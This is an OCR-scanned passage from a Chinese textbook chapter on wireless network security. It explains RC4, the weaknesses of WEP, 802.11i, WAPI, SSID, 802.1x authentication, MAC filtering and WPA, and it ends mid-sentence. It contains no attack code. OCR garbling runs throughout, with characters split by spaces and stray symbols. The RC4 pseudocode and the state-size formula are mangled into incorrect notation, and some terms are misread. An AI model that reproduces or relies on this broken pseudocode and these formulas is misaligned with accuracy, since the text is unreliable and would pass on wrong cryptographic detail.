RC4 算法 属于 二 进 制 异 或 同步 流 密码 算法 ,其 密 钥 长 度 可 变 ,在 WEP 中 , 密 钥 长 度 可 
选择 128 位 或 64 位 。 

RC4 算法 由 伪 随 机 数 产 生 算法 PRGA(Pseudo Random Generation Algorithm) #1% 4H 
调度 算法 KSA(Key Schedule Algorithm) 两 部 分 构成 。 其 中 PRGA 为 RC4 算法 的 核心 ,用 
于 产生 与 明文 相 异 或 的 伪 随 机 数 序 列 ; KSA 算法 的 功能 是 将 密 钥 映射 为 伪 随 机 数 发 生 器 
的 初始 化 状态 ,完成 RC4 算法 的 初始 化 。RC4 算法 实际 上 是 一 类 以 加 密 块 大 小 为 参数 的 算 
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法 。 这 里 的 参数 n 为 RC4 算法 的 字 长 。 在 WEP 中 ,n=8。RC4 算法 的 内 部 状态 包括 2" 的 
状态 表 和 两 个 大 小 为 一 个 字 的 计数 器 。 状 态 表 也 称 为 状态 盒 (S-box, 以 下 用 S 表示 ) ,用 来 
保存 2" 个 值 的 转 置 状态 。 两 个 计数 器 分 别 用 i 和 j 表示 。KSA 算法 和 PRGA 算法 可 表示 
如 下 : 


KSA: PRGA: 

Initialization: Initialization: 

For i=0 to 2m1 i=0,j=0 

S[i] = I Generation Loop: 

j=0i=i+1 

Scrambling: j= j+ S[i] 

For i= 0 to 2n-1 Swap (S[i],S[j]) 
J=j+S[i] +K[I mod 1] Output z = S[S[ i] + S[j]] 
Swap(S[i],S[j]) 


其 中 ,1 为 密 钥 的 长 度 。 

仔细 研究 RCA 的 算法 流程 ,不 难 发 现 : 状态 盒 S 从 一 个 统一 的 2" 的 转 置 开始 ,对 其 进 
行 的 唯一 操作 是 交换 。S 始终 保存 2" 的 某 个 转 置 状态 ,而 且 转 置 随 着 时 间 而 更 新 。 这 也 是 
RC4 算法 的 强度 所 在 。 算 法 的 内 部 状态 存储 在 M=n2n+ 2n 比特 中 ,由 于 S 为 一 个 转 置 ， 
此 状态 大 约 保存 了 log2(2n!1) 十 2ns*1700bit 的 信息 。 状 态 盒 的 初始 化 状态 仅仅 依赖 于 加 密 
密 钥 KK, 因此 若 已 知 加 密 密 钥 就 可 完全 破解 RC4。 加 密 密 钥 完全 且 唯 一 确定 了 伪 随 机 数 序 
列 , 相 同 的 密 钥 总 是 产生 相同 的 序列 。 另 外 ,RC4 算法 本 身 并 不 提供 数据 完整 性 校 验 功能 ， 
此 功能 的 实现 必须 由 其 他 方法 实现 (如 WEP 中 的 数据 完整 性 校 验 向 量 , 即 ICV)。 下 面 考 
虑 一 些 特殊 的 攻击 模型 ,这些 模型 均 与 要 讨论 的 RC4 的 安全 问题 密切 相关 。 

RC4 算法 属于 同步 流 密 码 算法 中 的 一 种 ,由 于 其 伪 随机 数 发 生 器 PRNG 的 输出 完全 由 
加 密 密 钥 确 定 , 因 此 对 于 一 个 设计 良好 的 流 密 码 算法 必须 满足 两 个 条 件 : 输出 的 每 个 比特 
应 该 依赖 于 加 密 密 钥 的 所 有 比特 ; 而 且 , 任 意 一 个 比特 或 者 某 些 比特 同 加 密 密 钥 之 间 的 关 
系 应 该 极其 复杂 。 

上 述 第 一 个 条 件 意味 着 输出 的 每 个 比特 依赖 于 加 密 密 钥 所 有 比特 的 值 , 密 钥 中 任意 比 
特 值 的 改变 均 有 1/2 的 概率 影响 到 输出 的 每 一 个 比特 。 如 果 满 足 此 条 件 ,那么 破解 此 加 密 
需要 尝试 所 有 可 能 的 密 钥 值 ,输出 值 同 加 密 密 钥 之 间 几 乎 不 存在 任何 联系 。 如 果 上 面 的 条 
件 得 不 到 满足 ,那么 就 可 被 利用 来 对 其 进行 攻击 。 例 如 ,假设 输出 的 某 8 个 比特 仅仅 依赖 于 
加 密 密 钥 的 某 8 个 比特 ,那么 就 可 以 简单 地 进行 对 此 8 比特 密 钥 的 所 有 可 能 值 进行 尝试 ,并 
与 实际 输出 相 比较 获取 此 8 比特 密 钥 的 值 ,这 样 就 大 大 降低 了 穷 举 攻击 所 需 的 计算 量 。 因 
此 ,如 果 输 出 以 比较 高 的 概率 由 密 钥 的 某 些 比特 所 确定 ,那么 此 信息 就 可 被 利用 来 对 此 流 密 
码 进 行 攻击 。 

第 二 个 条 件 意味 着 即使 已 知 两 个 加 密 密 钥 之 间 的 联系 ,也 无 法 得 出 PRNG 输出 之 间 的 
联系 。 此 信息 也 可 用 来 降低 穷 举 攻击 的 搜索 空间 ,从 而 导致 加 密 强度 的 降低 。 

RC4 算法 属于 二 进 制 异 或 流 密码 ,相同 的 密 钥 总 是 产生 相同 的 PRNG 输出 。 为 解决 密 
钥 重 用 的 问题 ,WEP 中 引入 了 初始 化 向 量 IV。 初 始 化 向 量 为 一 随机 数 , 每 次 加 密 时 随机 产 
生 。 初 始 化 向 量 以 某 种 形式 与 原 密 钥 相 组 合 , 作 为 此 次 加 密 的 加 密 密 钥 。 由 于 IV 并 不 属 


244 信息 安全 与 技术 


于 密 钥 的 一 部 分 ,因此 无 须 保 密 , 多 以 明文 传输 。 虽 然 初 始 化 向 量 的 使 用 很 好 地 解决 了 密 钥 
重用 的 问题 ,然而 初始 化 向 量 的 使 用 将 导致 严重 的 安全 隐患 。 

而 且 在 WEP 协议 的 身份 认证 中 ,规定 的 身份 认证 是 单 向 的 , 即 AP 对 申请 接 人 的 客户 
端 进 行 身份 认证 ,而 客户 端 并 不 对 AP 进行 身份 认证 。 这 种 单 向 的 身份 认证 方式 导致 了 假 
冒 的 AP 的 存在 。 此 外 ,在 WEP 协议 身份 认证 过 程 中 ,AP 以 明文 的 形式 把 128 字 节 的 随 
机 序列 流 发 送 给 客户 端 ,如 果 能 够 监听 一 个 成 功 的 客户 端 与 AP 之 间 身 份 认 证 的 过 程 ,截获 
它们 双方 之 间 相互 发 送 的 数据 包 , 通 过 把 随机 数 与 加 密 值 相 异 或 ,就 可 以 得 到 密 钥 流 。 而 拥 
有 了 该 密 钥 流 , 任 何人 都 可 以 向 AP 提出 访问 请 求 。 这 样 , WEP 协议 所 使 用 的 身份 认证 方 
式 , 对 于 具有 监听 和 截获 数据 能 力 的 攻击 者 来 说 几乎 形同虚设 。 

当前 基于 WEP 加 密 技术 的 安全 缺陷 饱 受 非 议 , 因 针对 WEP 数据 包 加 密 已 有 破译 的 方 
法 , 且 使 用 这 一 方法 破解 WEP 密 钥 的 工具 可 以 在 互联 网 上 免费 下 载 。 相 应 地 ,替代 WEP 
的 WPA 标准 已 于 2002 年 下 半年 出 台 了 ,通过 暂时 密 钥 集成 协议 (TKIP) 增 强 了 数据 加 密 ， 
提高 无 线 网 络 的 安全 特性 。 


9.3.2 IEEE 802. 11i 安全 标准 


IEEE 802. 11 的 i 工作 组 致力 于 制定 被 称 为 IEEE 802. 11i 的 新 一 代 安 全 标准 ,这 种 安 
全 标准 为 了 增强 WLAN 的 数据 加 密 和 认证 性 能 ,定义 了 RSN(Robust Security Network) 
的 概念 ,并 且 针 对 WEP 加 密 机 制 的 各 种 缺陷 做 了 多 方面 的 改进 。 

IEEE 802. 11i 规定 使 用 802. 1x 认证 和 密 钥 管理 方式 ,在 数据 加 密 方面 ,定义 了 TKIP 
(Temporal Key Integrity Protocol) ,;CCMP(Counter-Mode/CBC-MAC Protocol) 和 WRAP 
(Wireless Robust Authenticated Protocol) 3 种 加 密 机 制 。 其 中 TKIP 采用 WEP 机 制 里 的 
RC4 作为 核心 加 密 算法 ,可 以 通过 在 现 有 的 设备 上 升级 固件 和 驱动 程序 的 方法 达到 提高 
WLAN 安全 的 目的 。CCMP 机 制 基于 AES( Advanced Encryption Standard) 加 密 算 法 和 
CCM(Counter-Mode/CBC-MAC) 认证 方式 ,使 得 WLAN 的 安全 程度 大 大 提高 ,是 实现 
RSN 的 强制 性 要 求 。 由 于 AES 对 硬件 要 求 比较 高 ,因此 CCMP 无 法 通过 在 现 有 设备 的 基 
础 上 进行 升级 实现 。 

TKIP 与 WEP 一 样 基 于 RC4 加 密 算 法 ,但 相 比 于 WEP 算法 ,将 WEP 密 钥 的 长 度 由 
40 位 加 长 到 128 位 ,初始 化 向 量 IV 的 长 度 由 24 位 加 长 到 48 位 ,由 于 WEP 算法 的 安全 漏 
洞 是 由 于 WEP 机 制 本 身 引 起 的 ,与 密 钥 的 长 度 无 关 , 即 使 增加 加 密 密 钥 的 长 度 , 也 不 可 能 
增强 其 安全 程度 ,初始 化 向 量 IV 长 度 的 增加 也 只 能 在 有 限 程度 上 提高 破解 难度 ,如 延长 破 
解 信息 收集 时 间 ,并 不 能 从 根本 上 解决 问题 ,因为 作为 安全 关键 的 加 密 部 分 ,TKIP 没有 脱 
离 WEP 的 核心 机 制 。 

IEEE 802. 11i 标准 的 终极 加 密 解 决 方案 为 基于 IEEE 802. 1x 认证 的 CCMP 加 密 技 术 ， 
即 以 AES 为 核心 算法 ,采用 CBC-MAC 加 密 模式 ,具有 分 组 序号 的 初始 向 量 。CCMP 为 
128 位 的 分 组 加 密 算 法 , 相 比 前 面 所 述 的 所 有 算法 安全 程度 更 高 。 


9.3.3 WAPI 协议 


我 国 早 在 2003 年 5 月 份 就 提出 了 无 线 局 域 网 国家 标准 GB15629. 11 ,这 是 目前 我 国 在 
这 一 领域 唯一 获得 批准 的 协议 。 标 准 中 包含 了 全 新 的 WAPICWLAN Authentication and 
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Privacy Infrastructure) 安全 机 制 , 这 种 安全 机 制 由 WAI (WLAN Authentication 
Infrastructure) 和 WPICWLAN Privacy Infrastructure) 两 部 分 组 成 ,WAI 和 WPI 分 别 实现 
对 用 户 身 份 的 鉴别 和 对 传输 的 数据 加 密 。WAPI 能 为 用 户 的 WLAN 系统 提供 全 面 的 安全 
保护 。 

WAI 采 用 公开 密 钥 密 码 体 制 ,利用 证 书 来 对 WLAN 系统 中 的 STA 和 AP 进行 认证 。 
WAI 定 义 了 一 种 名 为 ASU(Authentication Service Unit) 的 实体 ,用 于 管理 参与 信息 交换 
各 方 所 需要 的 证 书 ( 包 括 证 书 的 产生 、 颁 发 .吊销 和 更 新 )。 证 书 里 面包 含有 证 书 颁发 者 
(ASU) 的 公 钥 和 签名 以 及 证 书 持 有 者 的 公 钥 和 签名 (这 里 的 签名 采用 的 是 WAPI 特有 的 李 
圆 曲 线 数字 签名 算法 ) ,是 网 络 设备 的 数字 身份 凭证 。 

在 具体 实现 中 ,STA 在 关联 到 AP 之 后 ,必须 相互 进行 身份 鉴别 。 先 由 STA 将 自己 的 
证 书 和 当前 时 间 提 交 给 AP, 然 后 AP 将 STA 的 证 书 、 提 交 时 间 和 自己 的 证 书 一 起 用 自己 的 
私 钥 形 成 签名 ,并 将 这 个 签名 连同 这 三 部 分 一 起 发 给 ASU. 

所 有 的 证 书 鉴别 都 由 ASU 来 完成 , 当 其 收 到 AP 提交 来 的 鉴别 请 求 之 后 ,会 先 验证 AP 
的 签名 和 证 书 。 当 鉴别 成 功 之 后 ,进一步 验证 STA 的 证 书 。 最 后 ,ASU 将 STA 的 鉴别 结 
果 信息 和 AP 的 鉴别 结果 信息 用 自己 的 私 钥 进 行 签名 ,并 将 这 个 签名 连同 这 两 个 结果 发 回 
给 AP。 

AP 对 收 到 的 结果 进行 签名 验证 ,并 得 到 对 STA 的 鉴别 结果 ,根据 这 一 结果 来 决定 是 
否 人 允许 该 STA 接 入 。 同 时 AP 需要 将 ASU 的 验证 结果 转发 给 STA,STA 也 要 对 ASU 的 
签名 进行 验证 ,并 得 到 AP 的 鉴别 结果 ,根据 这 一 结果 来 决定 是 否 接 入 AP。 

由 于 WAI PX} STA 和 AP 进行 了 双向 认证 ,因此 对 于 采用 “ 假 "AP 的 攻击 方式 具有 很 
强 的 抵御 能 力 。 

在 STA 和 AP 的 证 书 都 鉴别 成 功 之 后 ,双方 将 会 进行 密 钥 协商 。 首 先 双方 进行 密 钥 算 
法 协商 。 随 后 ,STA 和 AP 各 自 会 产生 一 个 随机 数 , 用 自己 的 私 钥 加 密 之 后 传输 给 对 方 。 
最 后 通信 的 两 端 会 采用 对 方 的 公 钥 将 对 方 所 产生 的 随机 数 还 原 , 再 将 这 两 个 随机 数 模 运算 
的 结果 作为 会 话 密 钥 ,并 依据 之 前 协商 的 算法 采用 这 个 密 钥 对 通信 的 数据 加 密 。 

由 于 会 话 密 钥 并 没有 在 信道 上 进行 传输 ,因此 就 增强 了 其 安全 性 。 为 了 进一步 提高 通 
信 的 保密 性 ,WAPI 还 规定 ,在 通信 一 段 时 间或 者 交换 一 定数 量 的 数据 之 后 ,STA 和 AP 之 
间 可 以 重新 协商 会 话 密 钥 。WAPI 采 用 对 称 密码 算法 实现 对 MAC 层 MSDU 进行 的 加 、 解 
密 操 作 。WAPI 标准 将 替代 国际 现行 的 WEP 协议 , 原 有 标准 因 其 安全 性 不 理想 ,一 直 以 来 
都 为 全 球 用 户 所 诉 病 。 而 采纳 了 许多 先进 技术 的 新 标准 ,无 疑 为 推动 国内 WLAN 产业 发 
展 起 到 了 积极 的 作用 。 同 时 , 牵 一 发 而 动 全 身 的 安全 新 标准 ,也 已 影响 到 电信 产业 链 上 的 诸 
多 环节 ,格局 变幻 暗流 涌 动 。 但 同时 更 为 关键 的 是 ,由 于 WAPI 协议 提供 了 优秀 的 认证 和 
安全 机 制 , 因 此 它 非常 适合 于 运营 商 的 公众 无 线 局 域 网 (PWLAN) 运 营 。 这 除了 给 现 有 运 
营 商 带 来 利益 之 外 ,也 极 有 可 能 因此 衍生 出 更 多 的 WLAN 服务 提供 商 。 

然而 就 是 这 样 一 项 标准 ,由 于 理解 上 的 差异 遭 到 了 多 方面 质疑 。 一 些 业 内 人 士 指出 , 巾 
于 新 标准 与 先行 标准 差异 较 大 ,因此 可 能 存在 漫游 及 设备 兼容 等 一 些 问 题 ,而 且 一 些 对 安全 
问题 并 不 敏感 的 用 户 的 使 用 成 本 也 可 能 会 增加 。 

事实 上 ,这 只 是 标准 推出 初期 不 可 避免 的 问题 。 而 且 据 专 家 介绍 ,设备 仅 需 要 进行 简单 
的 软件 升级 即 可 达到 规范 要 求 , 过 程 平滑 。 同 时 ,车 从 WLAN 产业 长 期 发 展 的 角度 这 一 代 
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价 也 是 完全 值得 的 。 

WAPI 充分 考虑 了 市 场 应 用 ,从 应 用 模式 上 可 分 为 单 点 式 和 集中 式 两 种 : 单 点 式 主要 
用 于 家 庭 和 小 型 公司 的 小 范围 应 用 ; 集中 式 主要 用 于 热点 地 区 和 大 型 企业 ,可 以 和 运营 商 
的 管理 系统 结合 起 来 ,共同 搭建 安全 的 无 线 应 用 平台 。 因 此 ,采用 WAPI 可 以 彻底 扭转 目 
前 WLAN 多 种 安全 机 制 并 存 且 互 不 兼容 的 现状 ,从 而 在 根本 上 解决 安全 问题 和 兼容 性 
问题 。 


9.4 无 线 网 络 的 主要 信息 安全 技术 


9.4.1 服务 集 标 识 符 


服务 集 标 识 符 SSID(Service Set Identifier) 将 一 个 无 线 局 域 网 分 为 几 个 不 同 的 子 网 络 ， 
每 一 个 子 网 络 都 有 其 对 应 的 身份 标识 (SSID) ,只 有 无 线 终端 设置 了 配对 的 SSID 才 接 入 相 
应 的 子 网 络 , 防 止 未 被 授权 的 用 户 进入 本 网 络 ,同时 对 资源 的 访问 权限 进行 区 别 限 制 。 
SSID 是 相 邻 的 无 线 接 人 点 (AP) 区 分 的 标志 ,无 线 接 人 用 户 必 须 设 定 SSID 才能 和 AP iÑ 
信 。 通 常 SSID 须 事先 设置 于 所 有 使 用 者 的 无 线 网 卡 及 AP 中 。 尝 试 连接 到 无 线 网 络 的 系 
统 在 被 允许 进入 之 前 必须 提供 SSID, 这 是 唯一 标识 网 络 的 字符 串 。 因 此 ,可 以 认为 SSID 是 
一 个 简单 的 口令 ,提供 了 口令 认证 机 制 ,实现 了 一 定 的 安全 性 。 

但 是 SSID 对 于 网 络 中 所 有 用 户 都 是 相同 的 字符 串 , 其 安全 性 差 , 人 们 可 以 轻易 地 从 每 
个 信息 包 的 明文 里 窃取 到 它 。 企 业 级 无 线 应 用 绝 不 能 只 依赖 这 种 技术 作为 安全 保障 ,而 只 
能 作为 区 分 不 同 无 线 服务 区 的 标识 。 


9.4.2 IEEE 802.11 的 认证 机 制 


1. 802. 1x 认证 技术 

802. 1x 是 针对 以 太 网 而 提出 的 基于 端口 进行 网 络 访问 控制 的 安全 性 标准 草案 。 基 于 
端口 的 网 络 访问 控制 利用 物理 层 特性 对 连接 到 LAN 端口 的 设备 进行 身份 认证 。 如 果 认 证 
失败 , 则 禁止 该 设备 访问 LAN 资源 。 

尽管 802. 1x 标准 最 初 是 为 有 线 以 太 网 设计 制定 的 ,但 它 也 适用 于 符合 802. 11 标准 的 
无 线 局 域 网 , 且 被 视 为 是 WLAN 的 一 种 增强 性 网 络 安全 解决 方案 。802. 1x 体系 结构 包括 
以 下 3 个 主要 的 组 件 。 

A) 请 求 方 (Supplicant) : 提出 认证 申请 的 用 户 接 入 设备 ,在 无 线 网 络 中 ,通常 指 待 接 
入 网 络 的 无 线 客户 机 STA。 

(2) 认证 方 (Authenticator) : 允许 客户 机 进行 网 络 访问 的 实体 ,在 无 线 网 络 中 ,通常 指 
访问 接 入 点 AP。 

(3) 认证 服务 器 (Authentication Server): 为 认证 方 提供 认证 服务 的 实体 。 认 证 服务 器 
对 请 求 方 进行 验证 ,然后 告知 认证 方 该 请 求 者 是 否 为 授权 用 户 。 认 证 服务 器 可 以 是 某 个 单 
独 的 服务 器 实体 ,也 可 以 是 将 认证 功能 集成 在 认证 方 Authenticator 中 。 

802. 1x 草案 为 认证 方 定 义 了 两 种 访问 控制 端口 , 即 “ 受 控 ” 端 口 和 “ 非 受 控 ” 端 口 。“ 受 
控 ? 端 口 分 配给 那些 已 经 成 功 通过 认证 的 实体 进行 网 络 访问 ; 而 在 认证 尚未 完成 之 前 ,所 有 
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的 通信 数据 流 从 “ 非 受 控 ” 端 口 进 出 。“ 非 受 控 ”端口 只 允许 通过 802. 1x 认证 数据 ,一 旦 认证 
成 功 通过 ,请 求 方 就 可 以 通过 “ 受 控 ” 端 口 访问 WLAN 资源 和 服务 。 
802. 11 认证 技术 是 一 种 增强 型 的 网 络 安全 解决 方案 。 在 采用 802. 11 的 无 线 LAN 中 ， 
无 线 用 户 端 安装 802. 11 客户 端 软件 作为 请 求 方 ,无 线 访问 点 AP A 802. 11 认证 代理 作 
为 认证 方 ,同时 它 还 作为 Radius 认证 服务 器 的 客户 端 ,负责 用 户 与 Radius 服务 器 之 间 认 证 
信息 的 转发 。 
802. 1x 认证 一 般 包 括 以 下 几 种 EAP(Extensible Authentication Protocol) 认 证 模式 。 
O EAP-MD5 。 
®© EAP-TLS(Transport Layer Security) 。 
© EAP-TTLS(Tunnelled Transport Layer Security). 
@ EAP-PEAP(Protected EAP). 
© EAP-LEAP(Lightweight EAP). 
© EAP-SIM, 
2. IEEE 802.11 定义 了 两 种 认证 方式 
IEEE 802. 11 定义 了 两 种 认证 方式 : 开放 系统 认证 (Open System Authentication) 和 共 
享 密 钥 认证 (Shared Key Authentication) 。 开 放 系 统 认 证 ,顾名思义 就 是 开放 型 的 认证 方 
式 , 凡 使 用 开放 系统 认证 的 工作 站 都 能 被 成 功 认 证 。 它 是 一 种 默认 的 认证 机 制 ,认证 以 明文 
形式 进行 ,适合 安全 要 求 较 低 的 场所 。 认 证 过 程 只 有 两 步 : 认证 请 求 和 认证 响应 ,如 图 9-5 
所 示 。 
验证 算法 标识 =“ 开 放 系 统 ” 
验证 处 理 序列 号 
请 求 帧 
2 痊 证 帧 
”验证 算法 标识 <“ 开 放 系统 " 
验证 处 理 序列 号 =2 
验证 请 求 的 结果 


图 9-5 开放 系统 认证 过 程 


共享 密 钥 认证 是 客户 端 需要 发 送 与 接 入 点 预存 密 钥 匹配 的 密 钥 , 它 是 可 选 的 认证 机 制 。 
802.11 提供 的 共享 密 钥 认证 是 单 向 认证 , 即 只 认证 工作 站 的 合法 性 ,没有 认证 AP 的 合 
法 性 。 

共享 密 钥 认证 过 程 有 以 下 4 个 步骤 。 

(1) 客户 端 向 接 和 人 点 发 送 认 证 请 求 。 

(2) 接 入 点 发 回 一 个 明文 。 

(3) 客户 端 利用 预存 的 密 钥 对 明文 加 密 , 青 次 向 接 入 点 发 出 认证 请 求 。 

(4) 接 人 点 对 数据 包 进行 解密 ,比较 明文 ,并 决定 是 否 接受 请 求 。 

共享 密 钥 认证 的 安全 性 高 于 开放 系统 认证 ,但 是 就 目前 的 技术 而 言 ,完全 可 以 无 视 这 种 
认证 。 另外 ,其 他 认证 方式 还 有 SSID 认证 。SSID 可 以 防止 一 个 工作 站 意外 地 链接 到 AP 
上 ,但 不 是 为 提供 认证 服务 而 设计 的 。SSID 在 AP 广播 的 信 标 帧 中 是 以 明文 的 形式 传送 
的 ,即使 在 信 标 帧 中 关闭 了 SSID , 非 授权 用 户 也 可 通过 监听 轮 询 响应 帧 来 得 到 SSID。 
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3. 802.11 认证 机 制 的 优点 


802. 11 认证 技术 的 优点 主要 表现 在 以 下 几 个 方面 。 

(1) 802. 1x 协议 仅仅 关注 受 控 端 口 的 打开 与 关闭 。 

(2) 接 入 认证 通过 之 后 ,IP 数据 包 在 二 层 普 通 MAC 帧 上 传送 。 

(3) 由 于 是 采用 Radius 协议 进行 认证 ,因此 可 以 很 方便 地 与 其 他 认证 平台 进行 对 接 。 
(4) 提供 基于 用 户 的 计 费 系统 。 

4. 802. 11 认证 技术 的 缺点 

802. 11 认证 技术 的 缺点 主要 表现 在 以 下 几 个 方面 。 

(1) 只 提供 用 户 接 入 认证 机 制 ,没有 提供 认证 成 功 之 后 的 数据 加 密 。 

(2) 一 般 只 提供 单 向 认证 。 

(3) 它 提 供 STA 与 Radius 服务 器 之 间 的 认证 ,而 不 是 与 AP 之 间 的 认证 。 
(4) 用 户 的 数据 仍然 是 使 用 RC4 进行 加 密 的 。 


9.4.3 无 线 网 卡 物理 地 址 过 滤 


每 个 无 线 工 作 站 网 卡 都 由 唯一 的 物理 地 址 (MAC) 标 识 ,该 物理 地 址 编码 方式 类 似 于 以 
太 网 物理 地 址 ,是 48 位 。 网 络 管理 员 可 在 无 线 局 域 网 访问 点 AP 中 手工 维护 一 组 允许 通过 
AP 访问 网 络 地 址 列表 ,以 实现 基于 物理 地 址 的 访问 过 滤 。 

MAC 地 址 是 每 块 网 卡 固定 的 物理 地 址 , 它 在 网 卡 出 厂 时 就 已 经 设 定 。MAC 地 址 过 滤 
的 策略 就 是 使 无 线路 由 器 只 允许 部 分 MAC 地 址 的 网 络 设备 进行 通信 , 或 者 禁止 那些 黑 名 
单 中 的 MAC 地 址 访问 。MAC 地 址 的 过 滤 策 略 是 无 线 通信 网 络 的 一 个 基本 的 并 且 有 用 的 
措施 , 它 唯一 的 不 足 是 必须 手动 输入 MAC 地 址 过 滤 标准 。 启 用 MAC 地 址 过 滤 , 无 线路 
由 器 获取 数据 包 后 ,就 会 对 数据 包 进 行 分 析 。 如 果 此 数据 包 是 从 所 禁止 的 MAC 地 址 列表 
中 发 送 的 , 那么 无 线路 由 器 就 会 丢弃 此 数据 包 , 不 进行 任何 处 理 。 因 此 对 于 恶意 的 主机 ， 
即使 不 断 改变 IP 地 址 也 没有 用 。 

MAC 地 址 过 滤 的 优点 主要 有 简化 了 访问 控制 ,可 以 接受 或 拒绝 预先 设 定 的 用 户 , 被 过 
滤 的 MAC 不 能 进行 访问 ,提供 了 第 二 层 的 防护 。 但 MAC 地 址 过 滤 也 有 缺点 ,因为 这 个 方 
案 要 求 AP 中 的 MAC 地 址 列表 必须 随时 更 新 ,可 扩展 性 差 ; 而 且 MAC 地 址 在 理论 上 可 以 
伪造 ,因此 这 也 是 较 低 级 别 的 授权 认证 。 物 理 地 址 过 滤 属 于 硬件 认证 ,而 不 是 用 户 认证 。 这 
种 方式 要 求 AP 中 的 MAC 地 址 列表 必须 随时 更 新 .目前 都 是 手工 操作 ; 如 果 用 户 增加 , 则 
扩展 能 力 很 差 , 因 此 只 适合 于 小 型 网 络 规模 。 


9.4.4 数据 加 密 


1. 有 线 等 效 保 密 (WEP) 
在 链 路 层 采用 RC4 对 称 加 密 技 术 ,用 户 的 加 密 密 钥 必 须 与 AP 的 密 钥 相同 时 才能 获准 
存 取 网 络 的 资源 ,从 而 防止 非 授 权 用 户 的 监听 以 及 非法 用 户 的 访问 。WEP 提供 了 40 位 (有 
时 也 称 为 64 位 ) 和 128 位 长 度 的 密 钥 机 制 , 但 是 它 仍然 存 在 许多 缺陷 。 例 如 ,一 个 服务 区 内 
的 所 有 用 户 都 共享 同一 个 密 钥 ,一 个 用 户 丢 失 钥 匙 将 使 整个 网 络 不 安全 。 而 且 40 位 的 钥匙 
在 今天 很 容易 被 破解 ; 钥匙 是 静态 的 ,要 手工 维护 ,扩展 能 力 差 。 目 前 为 了 提高 安全 性 , 建 
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议 采用 128 位 加 密 钥匙 。 

IEEE802. 11b IEEE802. 11a 与 IEEE802. 11g 协议 中 都 包含 无 线 等 效 协议 , 它 可 以 对 
每 一 个 企图 访问 无 线 网 络 的 人 的 身份 进行 识别 , 同时 对 网 络 传 输 内 容 进 行 加 密 。 尽 管 现 有 
无 线 网 络 标准 中 的 WEP 技术 遭 到 了 批评 , 但 如 果 能 够 正确 使 用 WEP 的 全 部 功能 , 那么 
WEP 仍 提供 了 在 一 定 程度 上 比较 合理 的 安全 措施 。 这 意味 着 需要 更 加 注重 密 钥 管 理 , 避 
免 使 用 默认 选项 , 并 确保 在 每 个 可 能 被 攻击 的 位 置 上 都 进行 了 足够 的 加 密 。WEP 使 用 了 
RC4 加 密 算法 ,尽管 理论 上 的 分 析 认 为 WEP 技术 并 不 保险 , 但 是 对 于 普通 入 侵 者 而 言 ， 
WEP 已 经 是 一 道 难以 逾越 的 鸿沟 。 大 多 数 无 线路 由 器 都 使 用 至 少 支持 40 位 加 密 的 WEP. 
但 通常 还 支持 128 位 甚至 256 位 选项 。 在 试图 同 网 络 连接 的 时 候 , 客户 端 设置 中 的 SSID 
和 密 钥 必 须 同 无 线路 由 器 匹配 , 否则 将 会 失败 。 

2. Wi-Fi 保护 存 取 (WPA) 

WPA 是 继承 了 WEP 基本 原理 而 又 解决 了 WEP 缺点 的 一 种 新 技术 。 由 于 加 强 了 生成 
加 密 密 钥 的 算法 ,因此 即便 收集 到 分 组 信息 并 对 其 进行 解析 ,也 几乎 无 法 计算 出 通用 密 钥 。 
其 原理 为 根据 通用 密 钥 ,配合 计算 机 MAC 地 址 和 分 组 信息 顺序 号 的 编号 ,分 别 为 每 个 分 组 
信息 生成 不 同 的 密 钥 。 然 后 与 WEP 一 样 将 此 密 钥 用 于 RC4 加 密 处 理 。 通 过 这 种 处 理 , 所 
有 客户 端的 所 有 分 组 信息 所 交换 的 数据 将 由 各 不 相同 的 密 钥 加 密 而 成 。 无 论 收集 到 多 少 这 
样 的 数据 ,要 想 破解 出 原始 的 通用 密 钥 几 乎 是 不 可 能 的 。WPA 还 追加 了 防止 数据 中 途 被 
自 改 的 功能 和 认证 功能 。 巾 于 具备 这 些 功 能 WEP 中 此 前 备 受 指责 的 缺点 得 以 全 部 解决 。 
WPA 不 仅 是 一 种 比 WEP 更 为 强大 的 加 密 方法 ,而 且 有 更 为 丰富 的 内 涵 。 作 为 802. 11i 标 
准 的 子 集 ,WPA 包含 了 认证 .加密 和 数据 完整 性 校 验 3 个 组 成 部 分 ,是 一 个 完整 的 安全 性 
方案 。 


9.5 无 线 网 络 的 安全 缺陷 与 解决 方案 


9.5.1 无 线 网 络 的 安全 缺陷 


由 于 无 线 局 域 网 采用 公共 的 电磁 波 作为 载体 ,电磁 波 能 够 穿 过 天 花 板 、 玻 璃 .楼 层 、 砖 、 
墙 等 物体 ,因此 在 一 个 无 线 局 域 网 接 人 点 所 服务 的 区 域 中 ,任何 一 个 无 线 客户 端 都 可 以 接收 
到 此 接 和 人 点 的 电磁 波 信号 ,这 样 就 可 能 包括 一 些 恶意 用 户 也 能 接收 到 其 他 无 线 数据 信和 号。 
这 样 恶意 用 户 在 无 线 局 域 网 中 相当 于 在 有 线 局 域 网 当中 ,去 窃听 或 干扰 信息 就 容易 得 多 。 

由 于 无 线 移动 设备 在 存储 能 力 、 计 算 能 力 和 电源 供电 时 间 方 面 的 局 限 性 , 使 得 原来 在 
有 线 环境 下 的 许多 安全 方案 和 安全 技术 不 能 直接 应 用 于 无 线 环境 。 例如 ,防火 墙 对 通过 无 
线 电波 进行 的 网 络 通信 起 不 了 作用 , 任何 人 在 区 域 范 围 之 内 都 可 以 截获 和 插入 数据 。 计 算 
量 大 的 加 密 、 解 密 算法 不 适宜 用 于 移动 设备 等 。 因 此 , 需要 研究 新 的 适合 于 无 线 网 络 环境 
的 安全 理论 ,安全 方法 和 安全 技术 。 与 有 线 网 络 相 比 , 无 线 网 络 所 面临 的 安全 威胁 更 加 严 
重 。 所 有 常规 有 线 网 络 中 存在 的 安全 威胁 和 隐患 都 依然 存在 于 无 线 网 络 中 ; 外 部 人 员 可 以 
通过 无 线 网 络 绕 过 防火 墙 ,对 专用 网 络 进行 非 授权 访问 ; 无 线 网 络 传输 的 信息 容易 被 窃取 、 
算 改 和 插入 ; 无 线 网 络 容易 受到 拒绝 服务 攻击 (DoS) 和 干扰 ; 内 部 员工 可 以 设置 无 线 网 卡 
以 端 对 端 模 式 与 外 部 员工 直接 连接 。 此 外 , 无 线 网 络 的 安全 技术 相对 比较 新 , 安全 产品 还 
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比较 少 。 以 无 线 局 域 网 (WLAN ) 为 例 ,移动 节点 、AP 等 每 一 个 实体 都 有 可 能 是 攻击 对 象 
或 攻击 者 。 由 于 无 线 网 络 在 移动 设备 和 传输 媒介 方面 的 特殊 性 ,使 得 一 些 攻击 更 容易 实施 ， 
